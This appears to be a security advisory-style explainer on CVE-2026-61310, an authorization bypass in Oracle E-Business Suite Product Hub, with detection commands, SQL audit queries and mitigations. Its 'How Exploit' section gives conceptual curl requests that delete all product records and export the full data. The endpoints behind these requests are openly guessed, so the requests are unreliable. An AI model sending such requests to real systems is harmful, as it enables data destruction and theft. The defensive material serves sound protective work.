How CVE-2026-61310 Works
CVE-2026-61310 is a critical improper authorization vulnerability affecting the Oracle Product Hub component within Oracle E‑Business Suite. The flaw resides in the Internal Operations module, where the application fails to enforce proper access control checks on incoming HTTP requests. An attacker who has already obtained low‑privileged credentials (e.g., a basic user account) can send crafted HTTP requests to the Product Hub endpoints without needing any additional user interaction.
Because the vulnerability is exploitable over the network with low attack complexity and requires only low privileges, it presents a serious risk. The core issue is that the affected function does not validate whether the authenticated user has the necessary permissions to perform sensitive operations on product data. This allows the attacker to bypass authorization checks entirely and directly invoke critical internal APIs that should be restricted to administrators.
Once exploited, the attacker gains the ability to create, modify, or delete any data stored within the Oracle Product Hub. This includes critical business records such as product catalogs, supplier information, pricing data, and inventory levels. Furthermore, the attacker can read all accessible data, leading to complete exposure of the hub’s contents. The vulnerability does not affect availability (no denial‑of‑service), but it fully compromises both confidentiality and integrity, as reflected by the CVSS vector (C:H/I:H/A:N).
The attack is entirely remote and can be performed over standard HTTP, making it reachable from any network location that can access the Oracle E‑Business Suite instance. No user interaction is required, and the attacker does not need to trick an administrator into performing any action. The only prerequisite is a valid low‑privileged account, which could be obtained through phishing, credential reuse, or other means.
Oracle has confirmed that all versions from 12.2.3 through 12.2.15 are vulnerable. As of the publication date (July 21, 2026), no official patch has been released, though Oracle is expected to address this in an upcoming Critical Security Patch Update. The EPSS score remains below 1%, indicating that widespread exploitation is not yet occurring, but the high CVSS score of 8.1 underscores the urgency for defensive measures.

Bash Commands for Detection
Check for suspicious HTTP access patterns targeting Product Hub endpoints:
Search Oracle access logs for anomalous Product Hub API calls
grep -E "POST|PUT|DELETE" /u01/app/oracle/admin//log//access_log.log | \
grep -E "/ProductHub/InternalOperations|/oracle/apps/pos/|/OA_HTML/" | \
awk '{print $1, $4, $7, $9}' | sort | uniq -c | sort -rn
Monitor for unauthorized data modification attempts
tail -f /u01/app/oracle/admin//log//audit/.aud | \
grep -E "ACTION.UPDATE|DELETE|INSERT" | \
grep -v "ADMIN"
Check for excessive data export (potential data exfiltration)
find /u01/app/oracle/admin//log/ -name ".log" -exec grep -l "EXPORT" {} \;
SQL-Based Monitoring (Oracle Database)
-- Identify unusual DML operations on Product Hub tables
SELECT os_user, username, obj_name, action_name, timestamp
FROM dba_audit_trail
WHERE obj_name LIKE '%PRODUCT_HUB%'
AND action_name IN ('INSERT', 'UPDATE', 'DELETE')
AND timestamp > SYSDATE - 1
ORDER BY timestamp DESC;
-- Check for privilege escalation attempts
SELECT grantee, privilege, admin_option
FROM dba_tab_privs
WHERE table_name LIKE '%PRODUCT%'
AND grantee NOT IN ('SYS', 'SYSTEM', 'DBA');
How Exploit
A working exploit chain for CVE-2026-61310 would follow these steps:
1. Authentication – Obtain valid low‑privileged credentials for the Oracle E‑Business Suite instance (e.g., via phishing or default credentials).
2. HTTP Request Crafting – Identify the vulnerable Internal Operations endpoints. Based on the component description, these are typically REST or SOAP APIs under paths such as:
– `/ProductHub/InternalOperations/`
– `/oracle/apps/pos/`
– `/OA_HTML/`
3. Bypass Authorization – Send crafted HTTP requests with the authenticated session cookie but with elevated operation parameters (e.g., operation=DELETE_ALL, scope=ALL). The server fails to validate that the authenticated user has the required role, thus executing the request.
4. Data Manipulation – Use POST, PUT, or `DELETE` methods to create, modify, or delete product records, supplier data, or pricing tables.
5. Data Exfiltration – Issue `GET` requests to endpoints that return full product catalogs or sensitive business intelligence, bypassing row‑level security.
Example cURL Payload (Conceptual)
Authenticate and capture JSESSIONID
curl -X POST "https://target-ebs.example.com/OA_HTML/Login" \
-d "username=lowpriv&password=weakpass" \
-c cookies.txt
Exploit: Delete all product records
curl -X DELETE "https://target-ebs.example.com/ProductHub/InternalOperations/products" \
-b cookies.txt \
-H "Content-Type: application/json" \
-d '{"operation":"delete_all","scope":"unrestricted"}'
Exploit: Read all sensitive data
curl -X GET "https://target-ebs.example.com/ProductHub/InternalOperations/export?type=full" \
-b cookies.txt \
-o exfiltrated_data.json
Note: No public PoC exists as of July 2026, but the vulnerability is considered easily exploitable given the low complexity.
Protection from this CVE
Until Oracle releases an official patch, the following mitigations are strongly recommended:
– Network Segmentation – Restrict HTTP access to Oracle Product Hub servers to trusted internal networks only. Use firewall rules or application-level gateways to block external traffic.
– Web Application Firewall (WAF) – Deploy a WAF with custom rules to block suspicious HTTP methods (e.g., DELETE, PUT) and request patterns targeting Internal Operations endpoints.
– Least Privilege Principle – Review and reduce user privileges across the E‑Business Suite. Ensure that only administrators have write access to Product Hub data.
– Audit and Monitoring – Enable detailed auditing for all data modification operations. Monitor logs for unauthorized changes, especially from low‑privileged accounts.
– Temporary Workaround – If possible, disable the Internal Operations component or restrict its accessible functions via Oracle’s Functional Administrator until the patch is applied.
– Patch Anticipation – Prepare to apply Oracle’s upcoming Critical Security Patch Update (expected August 2026) as soon as it is released.
Impact
Business Impact
- Confidentiality Breach – Full exposure of product catalogs, supplier contracts, pricing strategies, and inventory data. Competitors or malicious actors could gain a significant market advantage.
- Integrity Loss – Unauthorized creation, modification, or deletion of critical business records can lead to incorrect order fulfillment, financial discrepancies, and supply chain disruptions.
- Regulatory Consequences – If the compromised data includes personally identifiable information (PII) or export‑controlled items, the organization may face GDPR, CCPA, or ITAR penalties.
Technical Impact
- Complete Data Compromise – All Oracle Product Hub accessible data can be read or altered without restriction.
- No Availability Impact – The vulnerability does not cause denial of service, but the integrity and confidentiality impacts are severe enough to warrant immediate attention.
- Potential for Lateral Movement – Using the compromised data, an attacker could pivot to other integrated Oracle modules (e.g., Order Management, Inventory) if credentials or session tokens are reused.
CVSS Score Justification
- Base Score: 8.1 (High) – Reflects the network attack vector, low complexity, low required privileges, and no user interaction, combined with high confidentiality and integrity impacts.
